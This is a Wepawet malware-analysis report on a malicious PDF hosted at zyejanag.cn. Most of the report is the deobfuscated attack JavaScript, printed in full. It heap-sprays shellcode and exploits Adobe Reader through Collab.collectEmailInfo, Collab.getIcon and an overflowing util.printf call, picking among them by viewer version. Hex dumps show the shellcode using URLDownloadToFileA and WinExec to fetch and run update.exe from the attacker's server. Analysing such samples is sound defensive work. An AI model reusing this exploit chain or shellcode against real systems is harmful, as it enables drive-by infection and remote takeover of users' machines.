Wepawet (alpha)

Analysis report for http://zyejanag.cn/rf/repeatWas.pdf

Sample Overview

See the report for domain zyejanag.cn.

Detection results

Exploits

Deobfuscation results

Evals

• var eUG5UOged = new Array();
  var cbtRZ6Vt;
  function jSjAwcbKt(oXgwPHKeG, wN6ubA3BWE){
    while (oXgwPHKeG.length * 2 < wN6ubA3BWE){
      oXgwPHKeG += oXgwPHKeG;
    }
    oXgwPHKeG = oXgwPHKeG.substring(0, wN6ubA3BWE
  / 2);return oXgwPHKeG;}function qY055IjN(bglxAEzG){if(bglxAEzG == 0){var ugSpylVv9 = 0x0c0
  c0c0c;var evgBOl8BMx = new Array('%u5350%u52','51%u575','6%u9c','55%u00e8%','u0000%u5','d0
  0%ued83%','u310d%u6','4c0%u','4003%u','7830%u8b0c','%u0c40%u70','8b%uad1c%','u408b%ueb','0
  8%u8b','09%u34','40%u4','08d%u8','b7c%u','3c40%u','5756%u5','ebe%u000','1%u0100%','ubfee%u
  ','014e%','u0000%uef','01%ud6e8%','u0001%u5f','00%u895','e%u81ea%u5','ec2%u0001','%u5200%u
  8','068%u0000%','uff00%u4e','95%u0001','%u8900','%u81ea%u5','ec2%u00','01%u310','0%u01f6%u
  8','ac2%u3','59c%u0263','%u0000%u','fb80%u7','400%u8806%','u321c%ueb','46%uc6ee','%u3204%u
  8','900%u81ea%','u45c2%u','0002%','u5200%','u95ff%u0','152%u0000%','uea89%uc2','81%u0250%u
  ','0000%u50','52%u95ff%','u0156','%u0000','%u006a%u0','06a%uea','89%uc281%','u015e','%u000
  0%u89','52%u81e','a%u78c','2%u00','02%u5','200%u','006a%ud','0ff%u0','56a%uea89%','uc281',
  '%u015e%','u0000%uff5','2%u5a95','%u0001%u8','900%u81','ea%u5ec2%u','0001%','u5200%u8','06
  8%u00','00%uf','f00%u4','e95%u0001%','u8900%u','81ea%','u5ec2%u','0001%u31','00%u01f6%','u
  8ac2%u3','59c%u026','e%u0000%u','fb80%u','7400%u','8806%u3','21c%ueb46%','uc6ee%','u3204%u
  890','0%u81ea%u4','5c2%u000','2%u5200%u','95ff%u0','152%u0000%','uea89%u','c281%u025','0%u
  00','00%u50','52%u95f','f%u0156','%u000','0%u006a%u','006a%uea','89%uc','281%u015e%','u000
  0%','u8952%u81e','a%ua6c2','%u0002','%u5200%u','006a%u','d0ff%u056','a%uea89%u','c281%u01'
  ,'5e%u0000%u','ff52%','u5a95%u','0001%','u9d00%u','5f5d%u5a5','e%u5b59%u','c358%','u0000%u
  000','0%u0000','%u0000%','u0000%','u0000%u','0000%u00','00%u65','47%u5474','%u6d6','5%u50'
  ,'70%u7','461%u416','8%u4c00','%u616','f%u4c64','%u6269%u','6172%u797','2%u0041%u','6547%u
  ','5074%','u6f72%u416','3%u646','4%u6572%u7','373%u','5700%u6e69','%u7845','%u6365%','ubb0
  0%','uf289%uf','789%uc0','30%u75','ae%u29fd%','u89f7%','u31f9%u','bec0%u0','03c%u0000%','u
  b503%u','021b%u00','00%uad6','6%u850','3%u021b%','u0000%u708','b%u83','78%u1cc6%u','b503%'
  ,'u021b%u0','000%ubd8d%','u021f%u','0000%u0','3ad%u1b','85%u0','002%uab00%','u03ad%','u1b8
  5%u000','2%u5000%u','adab%u8503','%u021b%u00','00%u5eab%u','db31%u','56ad%u850','3%u021b%u
  ','0000%uc6','89%ud789%','ufc51%ua','6f3%u74','59%u5e04%u','eb43%u','5ee9%','ud193%u','03e
  0%','u2785%','u0002%','u3100%u96f','6%uad6','6%ue0c1%u','0302%u1f8','5%u0002%u','8900%ua',
  'dc6%u85','03%u021','b%u00','00%uebc3','%u0010%u0','000%u0','000%u000','0%u00','00%u0000%'
  ,'u0000','%u0000%u8','900%u1b85','%u0002%u56','00%ue857%','uff58%ufff','f%u5e','5f%u0','1a
  b%u80ce%','ubb3e%u','0274%ued','eb%u55c3%u','4c52%u4f','4d%u2','e4e%u4c44%','u004c','%u525
  5%u','444c%u','776f%u6c6','e%u616f','%u5464%u4','66f%u6','c69%u416','5%u7500%','u6470%u746
  ','1%u2e65%','u7865','%u0065%','u7263%u736','1%u2e68%u6','870%u007','0%u7468','%u7074%u2',
  'f3a%u7a','2f%u6','579%u616','a%u616e%u2','e67%u6e63','%u722f%u2f','66%u70','75%u6164','%u
  6574%','u702e%u70','68%u693','f%u3d64','%u0030%u9','000');}else if(bglxAEzG == 1){ugSpylVv
  9 = 0x30303030;var evgBOl8BMx = new Array('%u5350%u5','251%u57','56%u9c','55%u00e8%u','000
  0%','u5d00%','ued83%u3','10d%u','64c0%u400','3%u7830%u8','b0c%u0c40%','u708b%uad1','c%u408
  b%ue','b08%u8b09%','u3440%u408','d%u8b7c%','u3c40','%u5756%u5','ebe%u0001%','u0100%ubfe','
  e%u014e%u0','000%uef0','1%ud6e8%','u0001%','u5f00%','u895e%u81','ea%u5','ec2%u00','01%u520
  0%u','8068%u00','00%uff','00%u4e95%','u0001%','u8900%u8','1ea%u5','ec2%u0','001%u31','00%u
  0','1f6%u8ac2','%u359','c%u0263%u','0000%','ufb80','%u7400','%u8806','%u321c%','ueb46%uc6e
  ','e%u3204%u8','900%u81','ea%u4','5c2%u00','02%u5200%u','95ff%u','0152%u00','00%uea','89%u
  c281%','u0250%','u0000','%u5052%u9','5ff%u0','156%u0','000%u0','06a%u006a','%uea89%uc','28
  1%u015e','%u000','0%u89','52%u81ea%u','78c2%u000','2%u520','0%u006a%ud','0ff%u05','6a%uea8
  9','%uc281%u0','15e%u0','000%uff52','%u5a95%u','0001%u','8900%u81e','a%u5ec2%','u0001%u520
  ','0%u8068%u','0000%uff0','0%u4e95','%u0001%u','8900%u81ea','%u5ec2%u0','001%u3100','%u01f
  ','6%u8ac2%u3','59c%u0','26e%u000','0%ufb80','%u7400','%u8806%u32','1c%ue','b46%uc6ee%','u
  3204','%u8900%u81','ea%u4','5c2%u0002','%u5200%u9','5ff%u0152%','u0000','%uea89%','uc281%u
  02','50%u00','00%u5052%','u95ff%u0','156%u00','00%u006','a%u006a%','uea89','%uc281%u01','5
  e%u0000%u','8952%u','81ea%ua6','c2%u0002%','u5200%','u006a%','ud0ff%u05','6a%ue','a89%uc28
  1','%u015e','%u0000%','uff52%u5','a95%u','0001%u9d0','0%u5f','5d%u5a','5e%u5b59','%uc358%u
  ','0000%u0000','%u0000%u0','000%u0000','%u000','0%u00','00%u0','000%u','6547%','u5474%u6',
  'd65%u5070%','u7461%u416','8%u4c00%u6','16f%u','4c64%u','6269%u6172','%u7972%','u0041%u6',
  '547%u5074%','u6f72%u4','163%u6464%','u6572%','u7373%u57','00%u6','e69%u7','845%u63','65%u
  bb','00%uf','289%uf789%','uc030','%u75ae%u29','fd%u8','9f7%u31f','9%ubec0%u','003c%','u000
  0%ub','503%u021','b%u0000%','uad66%u850','3%u021b%u','0000%u708b','%u8378%u','1cc6%ub50','
  3%u021b','%u0000%ub','d8d%u','021f%','u0000%u03a','d%u1b','85%u000','2%uab00','%u03ad%u1',
  'b85%u','0002%u500','0%uadab%','u8503%','u021b%u00','00%u5','eab%udb','31%u5','6ad%u85','0
  3%u0','21b%u0000%','uc689%u','d789%ufc5','1%ua6f3%','u7459%u5e','04%ue','b43%u5e','e9%ud19
  3%u','03e0%u2785','%u0002','%u3100%u96','f6%uad','66%ue','0c1%u0302','%u1f85%u00','02%u890
  0%u','adc6%u8','503%u021b','%u0000%ueb','c3%u0','010%u0','000%u0000','%u0000%u','0000%','u
  0000%u000','0%u000','0%u8900%','u1b85%u00','02%u5600%u','e857%uff5','8%ufff','f%u5e5f%u0',
  '1ab%u80','ce%ubb3e','%u0274%','uedeb','%u55c3%u4c','52%u4f4d','%u2e4e%u','4c44%u','004c%u
  5','255%u444c','%u776f%','u6c6e%u616','f%u5464%u','466f%u6c69','%u4165%','u7500%u64','70%u
  7461%u','2e65%u7','865%u0','065%u7263','%u7361%u','2e68%u68','70%u007','0%u746','8%u7074%'
  ,'u2f3a','%u7a2f%u6','579%u61','6a%u616e%','u2e67%u','6e63%u7','22f%u2f6','6%u70','75%u616
  4%','u6574%u','702e%u706','8%u693','f%u3d64%u0','031%u','9000');}else if(bglxAEzG == 2){va
  r evgBOl8BMx = new Array('%u5350','%u525','1%u575','6%u9c55','%u00e8%u00','00%u5','d00%ue'
  ,'d83%u3','10d%u64c0%','u4003%u783','0%u8b','0c%u0','c40%u','708b%ua','d1c%u408b','%ueb08'
  ,'%u8b09%u','3440%u408d','%u8b7c','%u3c40%u5','756%u5ebe%','u0001%u010','0%ubf','ee%u0','1
  4e%u0','000%uef01','%ud6e8%u00','01%u5','f00%u','895e%u','81ea%','u5ec2%','u0001%u5','200%
  u80','68%u0000','%uff00%u4','e95%u0','001%u','8900%u81','ea%u5ec2%','u0001%','u3100%u','01
  f6%','u8ac2%u','359c%','u0263','%u0000%','ufb80%','u7400','%u8806%u','321c%u','eb46%','uc6
  ee%u3','204%u8','900%u','81ea%u4','5c2%u0002','%u5200%u','95ff%u01','52%u000','0%uea8','9%
  uc28','1%u0250','%u0000','%u5052','%u95ff%','u0156%','u0000%u006','a%u00','6a%uea89%u','c2
  81%u','015e%','u0000%u895','2%u81ea%u','78c2%u00','02%u5200%','u006a%ud','0ff%u056a','%uea
  89%','uc281','%u015e%u00','00%uf','f52%u5a9','5%u000','1%u8900%','u81ea%u5','ec2%u00','01%
  u5200%','u8068%u00','00%uff0','0%u4e95%u','0001%u8','900%u81ea%','u5ec2%','u0001','%u3100%
  u01','f6%u8a','c2%u359','c%u026','e%u00','00%ufb','80%u7400','%u8806','%u321c%','ueb46','%
  uc6ee%u32','04%u890','0%u81ea%u','45c2%u','0002%','u5200%u95','ff%u0152%','u0000','%uea89%
  ','uc281%','u0250%u','0000%u5052','%u95ff%u0','156%u','0000%u006a','%u006a%uea','89%uc','2
  81%u0','15e%u000','0%u8952%u','81ea%','ua6c2%','u0002%u5','200%u006','a%ud0f','f%u056a%','
  uea89','%uc281%u0','15e%u','0000%uff5','2%u5a95','%u0001%u','9d00%u5f5d','%u5a5e%u','5b59%
  uc35','8%u0000','%u0000%','u0000%u','0000%u0','000%u000','0%u0000%u','0000%u','6547%u','54
  74%u6d','65%u5070%','u7461%','u4168%u4c0','0%u616f%','u4c64%u6','269%u6','172%u79','72%u0'
  ,'041%u6547%','u5074%u6','f72%u','4163%u','6464%u6572','%u7373','%u5700%u6e','69%u7845%','
  u6365%ub','b00%uf28','9%uf789','%uc030%','u75ae%u29f','d%u89','f7%u31f9','%ubec0%u00','3c%
  u0000','%ub503%u','021b%u000','0%uad66%','u8503%u021','b%u0000%','u708b','%u8378%u1','cc6%
  ub50','3%u021b%','u0000%ubd8','d%u021f%u','0000%u03ad','%u1b85%','u0002%','uab00%u03a','d%
  u1b85','%u0002%','u5000%u','adab%u8','503%u021','b%u0000','%u5eab%ud','b31%u56ad%','u8503%
  u021','b%u0000%','uc689%','ud789%uf','c51%ua6f3','%u745','9%u5e0','4%ueb43%u5','ee9%ud19',
  '3%u03','e0%u2','785%u0002%','u3100%u96f','6%uad66','%ue0c1%u0','302%u1','f85%u00','02%u89
  00','%uadc6%u8','503%u','021b%','u0000','%uebc3%u00','10%u0000%u','0000%u0000','%u0000%u',
  '0000%u000','0%u0000%u8','900%u','1b85%u0002','%u5600','%ue857%u','ff58%','uffff%','u5e5f'
  ,'%u01a','b%u80ce','%ubb3e%','u0274%uede','b%u55','c3%u4c52','%u4f4d%u2e','4e%u4c','44%u00
  4c','%u5255%u44','4c%u776f','%u6c6e','%u616','f%u54','64%u466f%','u6c69%u','4165%u7500','%
  u6470','%u746','1%u2e65','%u7865%','u0065%','u7263%','u7361%u2e6','8%u6870%u','0070%u7','4
  68%u7074','%u2f3a%u7','a2f%u6579','%u616a','%u616','e%u2e67%','u6e63','%u722f%u2f','66%u7'
  ,'075%u6','164%u6574','%u702e','%u7068','%u693f%','u3d64%u0','032%u900','0');}evgBOl8BMx =
   unescape(evgBOl8BMx.join(""));var lRhUvcXY = 0x400000;var d4hT6K4ys = evgBOl8BMx.length *
   2;var wN6ubA3BWE = lRhUvcXY - (d4hT6K4ys + 0x38);var oXgwPHKeG = unescape("%u9090%u9090")
  ;oXgwPHKeG = jSjAwcbKt(oXgwPHKeG, wN6ubA3BWE);var g7a5SULkkI = (ugSpylVv9 - 0x400000) /
    lRhUvcXY;
    for (var biY5csDLZn = 0; biY5csDLZn < g7a5SULkkI; biY5csDLZn ++ ){
      eUG5UOged[biY5csDLZn] = oXgwPHKeG + evgBOl8BMx;
    }
  }
  function x3s7AFSBX(){
    var oM7FMpNST4 = 0;
    var zBD0g7bs = app.viewerVersion.toString();
    app.clearTimeOut(cbtRZ6Vt);
    if ((zBD0g7bs >= 8 && zBD0g7bs < 8.102) || zBD0g7bs < 7.1){
      qY055IjN(0);
      var owE5zMSHio = unescape("%u0c0c%u0c0c");
      while (owE5zMSHio.length < 44952)owE5zMSHio += owE5zMSHio;
      var ywDkkLkz = this ;
      var mPrRhj4p = Collab;
      ywDkkLkz["collabStore"] = mPrRhj4p["collectEmailInfo"]({
        subj : "", msg : owE5zMSHio
      }
      );
    }
    if ((zBD0g7bs >= 8.102 && zBD0g7bs < 8.104) || (zBD0g7bs >= 9 && zBD0g7bs < 9.1) || 
    zBD0g7bs <= 7.101){
      try {
        if (app.doc.Collab.getIcon){
          qY055IjN(2);
          var a6o2Chx6 = unescape("%09");
          while (a6o2Chx6.length < 0x4000){
            a6o2Chx6 += a6o2Chx6;
          }
          a6o2Chx6 = "N." + a6o2Chx6;
          var fQPMIrFiE = app;
          fQPMIrFiE["doc"]["Collab"]["getIcon"](a6o2Chx6);
          oM7FMpNST4 = 1;
        }
        else {
          oM7FMpNST4 = 1;
        }
      }
      catch (e){
        oM7FMpNST4 = 1;
      }
      if (oM7FMpNST4 == 1){
        if (zBD0g7bs == 8.102 || zBD0g7bs == 7.1){
          qY055IjN(1);
          var u7Yhlt9Ex = "12999999999999999999";
          for (gq8BJ1tFNv = 0; gq8BJ1tFNv < 276; gq8BJ1tFNv ++ ){
            u7Yhlt9Ex += "8";
          }
          var kOntMU4wTL = util;
          kOntMU4wTL["printf"]("%45000f", u7Yhlt9Ex);
        }
      }
    }
  }
  app.d3KP2eN0B = x3s7AFSBX;
  cbtRZ6Vt = app.setTimeOut("app.d3KP2eN0B()", 10);
  

  (repeated 1 time)

Writes

Network Activity

Requests

Redirects

ActiveX controls

• AcrobatJavaScript
  	Name	Arg0	Arg1	Count
  Methods	Collab.getIcon	N............................................................................... ................................................................................ ................................................................................ other 15840 bytes ................................................................................ ................................................................................ ................................................................................ ..................................................................		1
  	util.printf	%45000f	12999999999999999999888888888888888888888888888888888888888888888888888888888888 88888888888888888888888888888888888888888888888888888888888888888888888888888888 88888888888888888888888888888888888888888888888888888888888888888888888888888888 88888888888888888888888888888888888888888888888888888888	1

Shellcode and Malware

50 53 51 52 56 57 55 9c  e8 00 00 00 00 5d 83 ed 
0d 31 c0 64 03 40 30 78  0c 8b 40 0c 8b 70 1c ad 
8b 40 08 eb 09 8b 40 34  8d 40 7c 8b 40 3c 56 57 
be 5e 01 00 00 01 ee bf  4e 01 00 00 01 ef e8 d6 
01 00 00 5f 5e 89 ea 81  c2 5e 01 00 00 52 68 80 
00 00 00 ff 95 4e 01 00  00 89 ea 81 c2 5e 01 00 
00 31 f6 01 c2 8a 9c 35  63 02 00 00 80 fb 00 74 
06 88 1c 32 46 eb ee c6  04 32 00 89 ea 81 c2 45 
02 00 00 52 ff 95 52 01  00 00 89 ea 81 c2 50 02 
00 00 52 50 ff 95 56 01  00 00 6a 00 6a 00 89 ea 
81 c2 5e 01 00 00 52 89  ea 81 c2 78 02 00 00 52 
6a 00 ff d0 6a 05 89 ea  81 c2 5e 01 00 00 52 ff 
95 5a 01 00 00 89 ea 81  c2 5e 01 00 00 52 68 80 
00 00 00 ff 95 4e 01 00  00 89 ea 81 c2 5e 01 00 
00 31 f6 01 c2 8a 9c 35  6e 02 00 00 80 fb 00 74 
06 88 1c 32 46 eb ee c6  04 32 00 89 ea 81 c2 45 
02 00 00 52 ff 95 52 01  00 00 89 ea 81 c2 50 02 
00 00 52 50 ff 95 56 01  00 00 6a 00 6a 00 89 ea 
81 c2 5e 01 00 00 52 89  ea 81 c2 a6 02 00 00 52 
6a 00 ff d0 6a 05 89 ea  81 c2 5e 01 00 00 52 ff 
95 5a 01 00 00 9d 5d 5f  5e 5a 59 5b 58 c3 00 00 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 47 65 
74 54 65 6d 70 50 61 74  68 41 00 4c 6f 61 64 4c 
69 62 72 61 72 79 41 00  47 65 74 50 72 6f 63 41 
64 64 72 65 73 73 00 57  69 6e 45 78 65 63 00 bb 
89 f2 89 f7 30 c0 ae 75  fd 29 f7 89 f9 31 c0 be 
3c 00 00 00 03 b5 1b 02  00 00 66 ad 03 85 1b 02 
00 00 8b 70 78 83 c6 1c  03 b5 1b 02 00 00 8d bd 
1f 02 00 00 ad 03 85 1b  02 00 00 ab ad 03 85 1b 
02 00 00 50 ab ad 03 85  1b 02 00 00 ab 5e 31 db 
ad 56 03 85 1b 02 00 00  89 c6 89 d7 51 fc f3 a6 
59 74 04 5e 43 eb e9 5e  93 d1 e0 03 85 27 02 00 
00 31 f6 96 66 ad c1 e0  02 03 85 1f 02 00 00 89 
c6 ad 03 85 1b 02 00 00  c3 eb 10 00 00 00 00 00 
00 00 00 00 00 00 00 00  00 00 00 89 85 1b 02 00 
00 56 57 e8 58 ff ff ff  5f 5e ab 01 ce 80 3e bb 
74 02 eb ed c3 55 52 4c  4d 4f 4e 2e 44 4c 4c 00 
55 52 4c 44 6f 77 6e 6c  6f 61 64 54 6f 46 69 6c 
65 41 00 75 70 64 61 74  65 2e 65 78 65 00 63 72 
61 73 68 2e 70 68 70 00  68 74 74 70 3a 2f 2f 7a 
79 65 6a 61 6e 61 67 2e  63 6e 2f 72 66 2f 75 70 
64 61 74 65 2e 70 68 70  3f 69 64 3d 32 00 00 90 

PSQRVWU......]..
.1.d.@0x..@..p..
.@....@4.@|.@<VW
.^......N.......
..._^....^...Rh.
.....N.......^..
.1.....5c......t
...2F....2.....E
...R..R.......P.
..RP..V...j.j...
..^...R....x...R
j...j.....^...R.
.Z.......^...Rh.
.....N.......^..
.1.....5n......t
...2F....2.....E
...R..R.......P.
..RP..V...j.j...
..^...R........R
j...j.....^...R.
.Z....]_^ZY[X...
..............Ge
tTempPathA.LoadL
ibraryA.GetProcA
ddress.WinExec..
....0..u.)...1..
<.........f.....
...px...........
................
...P.........^1.
.V..........Q...
Yt.^C..^.....'..
.1..f...........
................
................
.VW.X..._^....>.
t....URLMON.DLL.
URLDownloadToFil
eA.update.exe.cr
ash.php.http://z
yejanag.cn/rf/up
date.php?id=2...

50 53 51 52 56 57 55 9c  e8 00 00 00 00 5d 83 ed 
0d 31 c0 64 03 40 30 78  0c 8b 40 0c 8b 70 1c ad 
8b 40 08 eb 09 8b 40 34  8d 40 7c 8b 40 3c 56 57 
be 5e 01 00 00 01 ee bf  4e 01 00 00 01 ef e8 d6 
01 00 00 5f 5e 89 ea 81  c2 5e 01 00 00 52 68 80 
00 00 00 ff 95 4e 01 00  00 89 ea 81 c2 5e 01 00 
00 31 f6 01 c2 8a 9c 35  63 02 00 00 80 fb 00 74 
06 88 1c 32 46 eb ee c6  04 32 00 89 ea 81 c2 45 
02 00 00 52 ff 95 52 01  00 00 89 ea 81 c2 50 02 
00 00 52 50 ff 95 56 01  00 00 6a 00 6a 00 89 ea 
81 c2 5e 01 00 00 52 89  ea 81 c2 78 02 00 00 52 
6a 00 ff d0 6a 05 89 ea  81 c2 5e 01 00 00 52 ff 
95 5a 01 00 00 89 ea 81  c2 5e 01 00 00 52 68 80 
00 00 00 ff 95 4e 01 00  00 89 ea 81 c2 5e 01 00 
00 31 f6 01 c2 8a 9c 35  6e 02 00 00 80 fb 00 74 
06 88 1c 32 46 eb ee c6  04 32 00 89 ea 81 c2 45 
02 00 00 52 ff 95 52 01  00 00 89 ea 81 c2 50 02 
00 00 52 50 ff 95 56 01  00 00 6a 00 6a 00 89 ea 
81 c2 5e 01 00 00 52 89  ea 81 c2 a6 02 00 00 52 
6a 00 ff d0 6a 05 89 ea  81 c2 5e 01 00 00 52 ff 
95 5a 01 00 00 9d 5d 5f  5e 5a 59 5b 58 c3 00 00 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 47 65 
74 54 65 6d 70 50 61 74  68 41 00 4c 6f 61 64 4c 
69 62 72 61 72 79 41 00  47 65 74 50 72 6f 63 41 
64 64 72 65 73 73 00 57  69 6e 45 78 65 63 00 bb 
89 f2 89 f7 30 c0 ae 75  fd 29 f7 89 f9 31 c0 be 
3c 00 00 00 03 b5 1b 02  00 00 66 ad 03 85 1b 02 
00 00 8b 70 78 83 c6 1c  03 b5 1b 02 00 00 8d bd 
1f 02 00 00 ad 03 85 1b  02 00 00 ab ad 03 85 1b 
02 00 00 50 ab ad 03 85  1b 02 00 00 ab 5e 31 db 
ad 56 03 85 1b 02 00 00  89 c6 89 d7 51 fc f3 a6 
59 74 04 5e 43 eb e9 5e  93 d1 e0 03 85 27 02 00 
00 31 f6 96 66 ad c1 e0  02 03 85 1f 02 00 00 89 
c6 ad 03 85 1b 02 00 00  c3 eb 10 00 00 00 00 00 
00 00 00 00 00 00 00 00  00 00 00 89 85 1b 02 00 
00 56 57 e8 58 ff ff ff  5f 5e ab 01 ce 80 3e bb 
74 02 eb ed c3 55 52 4c  4d 4f 4e 2e 44 4c 4c 00 
55 52 4c 44 6f 77 6e 6c  6f 61 64 54 6f 46 69 6c 
65 41 00 75 70 64 61 74  65 2e 65 78 65 00 63 72 
61 73 68 2e 70 68 70 00  68 74 74 70 3a 2f 2f 7a 
79 65 6a 61 6e 61 67 2e  63 6e 2f 72 66 2f 75 70 
64 61 74 65 2e 70 68 70  3f 69 64 3d 31 00 00 90 

PSQRVWU......]..
.1.d.@0x..@..p..
.@....@4.@|.@<VW
.^......N.......
..._^....^...Rh.
.....N.......^..
.1.....5c......t
...2F....2.....E
...R..R.......P.
..RP..V...j.j...
..^...R....x...R
j...j.....^...R.
.Z.......^...Rh.
.....N.......^..
.1.....5n......t
...2F....2.....E
...R..R.......P.
..RP..V...j.j...
..^...R........R
j...j.....^...R.
.Z....]_^ZY[X...
..............Ge
tTempPathA.LoadL
ibraryA.GetProcA
ddress.WinExec..
....0..u.)...1..
<.........f.....
...px...........
................
...P.........^1.
.V..........Q...
Yt.^C..^.....'..
.1..f...........
................
................
.VW.X..._^....>.
t....URLMON.DLL.
URLDownloadToFil
eA.update.exe.cr
ash.php.http://z
yejanag.cn/rf/up
date.php?id=1...

No additional malware was retrieved.